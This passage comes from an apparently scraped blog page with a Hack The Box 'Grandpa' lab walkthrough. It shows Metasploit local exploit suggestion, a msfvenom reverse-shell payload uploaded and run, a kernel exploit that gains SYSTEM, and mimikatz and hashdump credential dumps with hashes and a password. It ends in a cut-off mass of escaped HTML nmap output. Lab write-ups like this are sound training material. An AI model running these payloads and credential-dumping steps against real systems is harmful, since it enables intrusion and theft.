06:02:23 +0000 Privilege Escalation Use a built-in msf privilege escalation testing module, **post/multi/recon/**``**local_exploit_suggester**** **\nmsf5 \u0026gt; use post/multi/recon/local_exploit_suggester msf5 post(multi/recon/local_exploit_suggester) \u0026gt; show options Module options (post/multi/recon/local_exploit_suggester): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on SHOWDESCRIPTION false yes Displays a detailed description for the available exploits msf5 post(multi/recon/local_exploit_suggester) \u0026gt; set showdescription true showdescription =\u0026gt; true msf5 post(multi/recon/local_exploit_suggester) \u0026gt; set session 1 session =\u0026gt; 1 msf5 post(multi/recon/local_exploit_suggester) \u0026gt; run [*] 10.10.10.14 - Collecting local exploits for x86/windows... [*] 10.10.10.14 - 30 exploit checks are being tried... [+] 10.10.10.14 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated. This module will create a new session with SYSTEM privileges via the KiTrap0D exploit by Tavis Ormandy. If the session in use is already elevated then the exploit will not run. The module relies on kitrap0d.x86.dll, and is not supported on x64 editions of Windows. [+] 10.10.10.14 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability can be triggered through the use of TrackPopupMenu. Under special conditions, the NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary code execution. This module has been tested successfully on Windows XP SP3, Windows 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows 2008 R2 SP1 64 bits. [+] 10.10.10.14 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable. A vulnerability within the Microsoft TCP/IP protocol driver tcpip.sys can allow a local attacker to trigger a NULL pointer dereference by using a specially crafted IOCTL. This flaw can be abused to elevate privileges to SYSTEM. [+] 10.10.10.14 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. This module exploits improper object handling in the win32k.sys kernel mode driver. This module has been tested on vulnerable builds of Windows 7 x64 and x86, and Windows 2008 R2 SP1 x64. [+] 10.10.10.14 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated. This module exploits the vulnerability in mrxdav.sys described by MS16-016. The module will spawn a process on the target system and elevate its privileges to NT AUTHORITY\\SYSTEM before executing the specified payload within the context of the elevated process. [+] 10.10.10.14 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable. This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due to the usage of uninitialized data which allows to corrupt memory. At the moment, the module has been tested successfully on Windows XP SP3, Windows 2003 SP1, and Windows 7 SP1. [*] Post module execution completed Find a writable directory, then bounce back another shell. Any of the following exploits can successfully escalate privileges:\nwindows/local/ms14_058_track_popup_menu exploit/windows/local/ms14_070_tcpip_ioctl — stable windows/local/ms15_051_client_copy_image meterpreter \u0026gt; upload payloads/16-122-4443.exe \u0026#34;C:\\WINDOWS\\Temp\\shell.exe\u0026#34; [*] uploading : payloads/16-122-4443.exe -\u0026gt; C:\\WINDOWS\\Temp\\shell.exe [*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): payloads/16-122-4443.exe -\u0026gt; C:\\WINDOWS\\Temp\\shell.exe [*] uploaded : payloads/16-122-4443.exe -\u0026gt; C:\\WINDOWS\\Temp\\shell.exe msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.122 LPORT=4443 -f exe -o 16-122-4443.exe # Upload and execute upload shell.exe \u0026#34;C:\\WINDOWS\\Temp\\shell.exe\u0026#34; execute -f \u0026#34;C:\\WINDOWS\\Temp\\shell.exe\u0026#34; Privilege escalation process:\nmsf5 exploit(windows/local/ms14_070_tcpip_ioctl) \u0026gt; run [*] Started reverse TCP handler on 10.10.16.122:4443 [*] Storing the shellcode in memory... [*] Triggering the vulnerability... [*] Checking privileges after exploitation... [+] Exploitation successful! [*] Sending stage (180291 bytes) to 10.10.10.14 [*] Meterpreter session 2 opened C:\\Documents and Settings\\ Administrator All Users Harry # c:\\Documents and Settings\\Administrator\\Desktop\\root.txt # c:\\Documents and Settings\\Harry\\Desktop\\user.txt After Privilege Escalation? # After privilege escalation meterpreter \u0026gt; hashdump Administrator:500:0a70918d669baeb307012642393148ab:34dec8a1db14cdde2a21967c3c997548::: ASPNET:1007:3f71d62ec68a06a39721cb3f54f04a3b:edc0d5506804653f58964a2376bbd769::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Harry:1008:93c50499355883d1441208923e8628e6:031f5563e0ac4ba538e8ea325479740d::: IUSR_GRANPA:1003:a274b4532c9ca5cdf684351fab962e86:6a981cb5e038b2d8b713743a50d89c88::: IWAM_GRANPA:1004:95d112c4da2348b599183ac6b1d67840:a97f39734c21b3f6155ded7821d04d16::: SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:8ed3993efb4e6476e4f75caebeca93e6::: mimikatz You need to load mimikatz before using it\nmeterpreter \u0026gt; load mimikatz Loading extension mimikatz...Success. meterpreter \u0026gt; mimikatz_command -f version mimikatz 1.0 x86 (RC) (Mar 4 2020 19:36:53) meterpreter \u0026gt; msv [+] Running as SYSTEM [*] Retrieving msv credentials msv credentials =============== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;747507 NTLM GRANPA IUSR_GRANPA lm{ a274b4532c9ca5cdf684351fab962e86 }, ntlm{ 6a981cb5e038b2d8b713743a50d89c88 } 0;996 Negotiate NT AUTHORITY NETWORK SERVICE lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 } 0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO) 0;44669 NTLM n.s. (Credentials KO) 0;999 NTLM HTB GRANPA$ n.s. (Credentials KO) meterpreter \u0026gt; kerberos [+] Running as SYSTEM [*] Retrieving kerberos credentials kerberos credentials ==================== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;996 Negotiate NT AUTHORITY NETWORK SERVICE 0;997 Negotiate NT AUTHORITY LOCAL SERVICE 0;44669 NTLM 0;999 NTLM HTB GRANPA$ 0;747507 NTLM GRANPA IUSR_GRANPA 1_pEx9[v6;e24} meterpreter \u0026gt; mimikatz_command -f samdump::hashes Ordinateur : granpa BootKey : 11b5033b62a3d2d6bb80a0d45ea88bfb Rid : 500 User : Administrator LM : 0a70918d669baeb307012642393148ab NTLM : 34dec8a1db14cdde2a21967c3c997548 Rid : 501 User : Guest LM : NTLM : Rid : 1001 User : SUPPORT_388945a0 LM : NTLM : 8ed3993efb4e6476e4f75caebeca93e6 Rid : 1003 User : IUSR_GRANPA LM : a274b4532c9ca5cdf684351fab962e86 NTLM : 6a981cb5e038b2d8b713743a50d89c88 Rid : 1004 User : IWAM_GRANPA LM : 95d112c4da2348b599183ac6b1d67840 NTLM : a97f39734c21b3f6155ded7821d04d16 Rid : 1007 User : ASPNET LM : 3f71d62ec68a06a39721cb3f54f04a3b NTLM : edc0d5506804653f58964a2376bbd769 Rid : 1008 User : Harry LM : 93c50499355883d1441208923e8628e6 NTLM : 031f5563e0ac4ba538e8ea325479740d meterpreter \u0026gt; mimikatz_command -f sekurlsa::searchPasswords [0] { IUSR_GRANPA ; GRANPA ; 1_pEx9[v6;e24} } [1] { IUSR_GRANPA ; GRANPA ; 1_pEx9[v6;e24} } [2] { _olic rdp First, set up port forwarding\nmeterpreter \u0026gt; portfwd -h Usage: portfwd [-h] [add | delete | list | flush] [args] OPTIONS: -L \u0026lt;opt\u0026gt; Forward: local host to listen on (optional). Reverse: local host to connect to. -R Indicates a reverse port forward. -h Help banner. -i \u0026lt;opt\u0026gt; Index of the port forward entry to interact with (see the \u0026#34;list\u0026#34; command). -l \u0026lt;opt\u0026gt; Forward: local port to listen on. Reverse: local port to connect to. -p \u0026lt;opt\u0026gt; Forward: remote port to connect to. Reverse: remote port to listen on. -r \u0026lt;opt\u0026gt; Forward: remote host to connect to. meterpreter \u0026gt; portfwd add -l 3389 -r 10.10.10.14 -p 3389 [*] Local TCP relay created: :3389 \u0026lt;-\u0026gt; 10.10.10.14:3389 Add a user in meterpreter\nmeterpreter \u0026gt; run getgui -h [!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp. [!] Example: run post/windows/manage/enable_rdp OPTION=value [...] Windows Remote Desktop Enabler Meterpreter Script Usage: getgui -u \u0026lt;username\u0026gt; -p \u0026lt;password\u0026gt; Or: getgui -e OPTIONS: -e Enable RDP only. -f \u0026lt;opt\u0026gt; Forward RDP Connection. -h Help menu. -p \u0026lt;opt\u0026gt; The Password of the user to add. -u \u0026lt;opt\u0026gt; The Username of the user to add. reference https://zhuanlan.zhihu.com/p/40192495 https://github.com/payloadbox/xxe-injection-payload-list https://www.xxe.sh/ https://medium.com/armourinfosec/grandpa-htb-737443aa52f https://bhardwajmanish.com/2020/01/grandpa-hack-the-box-htb/ https://blog.csdn.net/weixin_41082546/article/details/100178706 ","permalink":"https://www.unc.la/en/posts/penetration/pzpqxg/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1587647532627-59f3c36a-2138-42cb-b8a6-14df22045958.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"information-gathering\"\u003eInformation Gathering\u003c/h1\u003e\n\u003ch2 id=\"nmap\"\u003eNmap\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eroot\u003c/span\u003e\u003cspan class=\"o\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003elocalhost\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e~/\u003c/span\u003e\u003cspan class=\"n\"\u003eHTB\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003egrandpa\u003c/span\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enmap\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003esV\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003esC\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e14\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eoA\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escans\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eallport\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ePORT\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"k\"\u003eSTATE\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSERVICE\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eVERSION\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e80\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eopen\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIIS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttpd\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003emethods\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003ePotentially\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003erisky\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emethods\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTRACE\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eCOPY\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePROPFIND\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eSEARCH\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eLOCK\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUNLOCK\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eDELETE\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePUT\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eMOVE\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMKCOL\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePROPPATCH\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_http\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eserver\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eheader\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eIIS\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eI\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ealso\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003erecalled\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ethat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ethis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;different\u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ekind\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eof\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003ereal\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eworld\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epenetration\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etest\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eanalysis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earticle\u003c/span\u003e\u003cspan class=\"p\"\u003e](\u003c/span\u003e\u003cspan class=\"n\"\u003ehttps\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"n\"\u003epaper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eseebug\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eorg\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"mi\"\u003e1144\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eit\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ementioned\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ethat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e`\u003c/span\u003e\u003cspan class=\"n\"\u003ewebdav\u003c/span\u003e\u003cspan class=\"o\"\u003e`\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eseems\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eto\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehave\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ean\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e`\u003c/span\u003e\u003cspan class=\"n\"\u003exxe\u003c/span\u003e\u003cspan class=\"o\"\u003e`\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eI\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etried\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eit\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eon\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ethe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eroot\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edirectory\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewith\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eno\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eluck\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ewebdav\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003escan\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"k\"\u003ePublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eOPTIONS\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTRACE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eGET\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHEAD\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eDELETE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePUT\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePOST\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eCOPY\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eMOVE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMKCOL\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePROPFIND\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePROPPATCH\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eLOCK\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUNLOCK\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eSEARCH\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eWebDAV\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etype\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eUnknown\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eServer\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eType\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eIIS\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eAllowed\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMethods\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eOPTIONS\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTRACE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eGET\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHEAD\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eCOPY\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePROPFIND\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eSEARCH\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eLOCK\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUNLOCK\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan 